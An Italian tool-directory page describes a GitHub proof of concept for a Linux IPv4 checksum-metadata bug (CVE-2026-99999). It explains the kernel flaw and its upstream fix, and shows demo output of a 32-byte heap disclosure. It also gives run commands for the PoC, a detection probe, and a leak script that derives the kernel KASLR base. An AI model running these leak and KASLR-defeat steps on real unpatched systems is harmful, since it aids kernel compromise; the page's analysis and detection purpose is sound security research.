Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-99999-pwnescape — Riproduzione e analisi del bug di validazione csum_start di IPv4 su Linux (CVE-2026-99999): riscrittura dell'header, divulgazione di 32 byte dell'heap, leak oracle e sconfitta del KASLR. | Kitploit
Strumenti/GitHubGitHub/gandli/cve-2026-99999-pwnescape
Memory ForensicsAnalisi delle VulnerabilitàExploitSicurezza di RetePaper e RicercaApprendimento e FormazioneBinary Exploitation
GitHub
Condividi
gandli/cve-2026-99999-pwnescape

CVE-2026-99999-pwnescape

Riproduzione e analisi del bug di validazione csum_start di IPv4 su Linux (CVE-2026-99999): riscrittura dell'header, divulgazione di 32 byte dell'heap, leak oracle e sconfitta del KASLR.

Vedi Repository
2231 mese faNon ancora revisionato

CVE-2026-99999 (PwnEscape): una scrittura differita del checksum riscrive l'intestazione IPv4 che il kernel ha già analizzato

English · 简体中文

Riproduzione del bug di validazione csum_start dell'IPv4 di Linux corretto da 6785011f8b16 ("ipv4: validate checksum_start before completing checksum"). Data l'esecuzione di codice all'interno di una VM guest, un processo non privilegiato su un TAP preparato riscrive un'intestazione che il kernel ha già analizzato, quindi legge 32 byte oltre i dati lineari del pacchetto.

Precondizioneesecuzione di codice all'interno della VM guest — non remota, non pre-auth
Riprodotto su6.18.54.1-microsoft-standard-WSL2
Kernel interessatiogni release precedente alla correzione del relativo branch — KERNELS.md
Corretto in6.18.57 · 6.12.113 · 6.6.159 · 6.1.190 · 5.15.223 · 5.10.272 · 7.2.11
CVSS 3.19.3 — AV:L/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Correzione upstream6785011f8b16abf40b1e9d8b2e332232b3e68822 (Michael S. Tsirkin)
Segnalato daPaulos Yibelo (pwn.ai)
Precompilatibinari statici v1.0.0

Dimostrazione

$ python3 poc/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee
[leak] head=8 rest=400 linear=28B copy=60B overrun=32B adj=0x24d6 spray=32
[leak] 3 output fragment(s)
  frag 0: first=0x4f ihl=60B tot_len=196
    options[40]: a5a5a5a5a5a5a5a50000000000000000000000000000000000000000000000a9cb439e88ffff0000
    past linear head: 32B, 7 nonzero
[leak] OK: 32 bytes copied past skb_headlen() into IPv4 options

Il primo byte è 0x4f invece di 0x45 — versione 4, lunghezza dell'header di 15 word invece di 5. Gli otto byte a5 sono il marker che questo reproducer ha scritto nel frammento; tutto ciò che segue non fa parte del pacchetto. a9 cb 43 9e 88 ff ff si legge come 0xffff889e43cba9, un indirizzo della direct-map del kernel.

Meccanismo

Tre fasi: iniettare un frame con csum_start al byte 22, riassemblare due frammenti in un head lineare di 28 byte, quindi copiare un header di 60 byte e leggere 32 byte oltre esso

skb_checksum_help() trasforma i metadati del checksum in una scrittura:

write address = skb->head + csum_start + csum_offset

Niente prima della correzione verificava che csum_start si trovasse dopo l'header IPv4. Il controllo di ammissione confronta l'offset del trasporto con una lunghezza minima dell'header misurata a partire dall'attuale skb->data — una coordinata relativa al frame:

/* include/linux/virtio_net.h, __virtio_net_hdr_to_skb() */
if (!skb_partial_csum_set(skb, start, off))
        return -EINVAL;
if (skb_transport_offset(skb) < nh_min_len)   /* 20 bytes */
        return -EINVAL;

Per un frame di [ eth 14 ][ vlan 4 ][ vlan 4 ][ ipv4 ... ], csum_start = 22 fa sì che skb_transport_offset() == 22 >= 20, quindi i metadati vengono accettati, mentre la distanza reale dall'header di rete è 0. I due tag VLAN vengono rimossi nel percorso di ricezione, quindi la coordinata relativa al frame sopravvive fino al livello L3 e la scrittura differita finisce su version/ihl.

L'ordinamento è l'altra metà della questione. ip_do_fragment() ha completato il checksum in sospeso prima di leggere iph->ihl:

/* net/ipv4/ip_output.c, pre-fix */
if (skb->ip_summed == CHECKSUM_PARTIAL && (err = skb_checksum_help(skb)))
        goto fail;

iph = ip_hdr(skb);
...
hlen = iph->ihl * 4;          /* now 60, not 20 */

L'header è stato validato come 20 byte; il consumer legge 15 word dalla stessa memoria. skb_checksum_help() non è la causa — è stato permesso ai metadati di descrivere un pacchetto diverso da quello che esiste.

La correzione aggiunge un limite relativo alla rete e lo invoca prima di ogni punto di completamento:

static inline int ip_check_csum_start(const struct sk_buff *skb)
{
        if (unlikely(skb->csum_start < skb->network_header + ip_hdrlen(skb)))
                return -EINVAL;
        return 0;
}

Con C = csum_start, N = network_header, H = ip_hdrlen e O >= 0, richiedere C >= N + H significa che la scrittura C + O non può più raggiungere l'header.

Avvio rapido

Container privilegiato su un kernel vulnerabile (il kernel è ciò che conta):

docker run -d --name pwnesc --privileged debian:12-slim sleep infinity
docker exec pwnesc apt-get update -qq
docker exec pwnesc apt-get install -y -qq iproute2 nftables python3
docker cp lab/setup.sh pwnesc:/root/setup.sh
docker cp poc/pwnescape.py pwnesc:/root/pwnescape.py
docker exec pwnesc sh /root/setup.sh

# header rewrite only
docker exec pwnesc python3 /root/pwnescape.py --only-verify

# 32-byte disclosure past the linear head
docker exec pwnesc python3 /root/pwnescape.py --skip-verify --page --spray 32 --spray-fill 0xee

Su un host di test bare-metal o su una VM: sudo sh lab/setup.sh, quindi eseguire gli stessi comandi come root in quel network namespace. Richiede /dev/net/tun, nf_conntrack, nf_defrag_ipv4, ip e nft.

Il lab

lab/setup.sh crea un TAP per l'injection e una coppia di veth per l'egress:

              inject                       forward + defrag          egress
  userland ──────────► pwntap 10.0.0.1/24 ─────────────────► pwnv0 10.99.0.1/24
  (virtio_net_hdr,       |                  conntrack defrag        MTU 200
   csum_start=22)        |                  nft prerouting -450         │
                         └── two fragments reassembled ────────────────┤
                             into a 28-byte linear head                ▼
                                                                     pwnv1
                                                                  (capture)

La regola ct di nft registra nf_defrag_ipv4, quindi i due frammenti vengono riassemblati prima che il percorso di forwarding li frammenti di nuovo. Qualsiasi cosa che rientri su pwnv1 viene scartata. lab/teardown.sh rimuove tutto.

Cosa significano i numeri

Il frammento con offset 0 trasporta 8 byte, quindi dopo il riassemblaggio l'intestazione lineare logica è di 20 + 8 = 28 byte, mentre il frammentatore copia ihl * 4 = 60:

[ 20 header ][ 8 payload ] | 32 bytes that are not part of the packet
                            └─ copied into the fragments' IPv4 options

overrun = 60 - (20 + head), quindi --head 40 è il caso di controllo (nessun byte attraversa il confine) e --head 8 produce la divulgazione di 32 byte.

Sul percorso slab la coda viene azzerata da CONFIG_INIT_ON_ALLOC_DEFAULT_ON e la perdita viene letta come 00. --page sposta la testa dello skb su un page_frag riciclato, dove la coda contiene ancora ciò che la pagina conteneva prima.

Rilevamento e sfruttamento

python3 exp/probe.py --passive        # version verdict, no packets
python3 exp/probe.py --active         # A/B behavioural verdict, leaks nothing
python3 exp/leak.py --rounds 24       # repeatable 32-byte disclosure + physmap KASLR base

probe.py confronta un datagramma di controllo con metadati di checksum ben formati con uno il cui csum_start si trova sull'header IPv4: header riscritto → vulnerabile, test scartato dalla guardia → corretto, nulla catturato → problema di laboratorio. leak.py ripete l'over-read, estrae i puntatori canonici del kernel e deriva la base KASLR della physmap.

Scarica lo strumento

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Il toolkit OSINT definitivo: grafo di indagine, punteggio di affidabilità, famiglie di alias, mappa, timeline e report. 49 moduli, oltre 400 siti, nessuna chiave API richiesta.

    867
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    # App di esecuzione con un tocco GhostLock (CVE-2026-43499)

    544
  • 3

    ARTEX

    baarai/artex

    Piattaforma di penetration testing autonoma multi-agente basata su LLM con agenti planner/worker, grafi di asset e di esplorazione, registrazione del traffico MITM e retesting delle vulnerabilità.

    385
  • 4

    redforge

    cybersecurity91/redforge

    Toolkit red team lato browser con 102 strumenti offline per ricognizione, generazione di payload, attacchi alle credenziali, crittografia, codifica e reportistica dell'engagement.

    360
  • 5

    looking-glass

    anonghosty/looking-glass

    Piattaforma CSIRT che importa i report di Shadowserver in MongoDB e li riproduce come mappe interattive, analisi, risultati, avvisi e dashboard executive.

    302
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    Il sistema d'azione per la cybersecurity nativa AI—dove l'intento diventa esecuzione governata, le evidenze diventano memoria operativa, e ogni operazione migliora la successiva.

    279

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →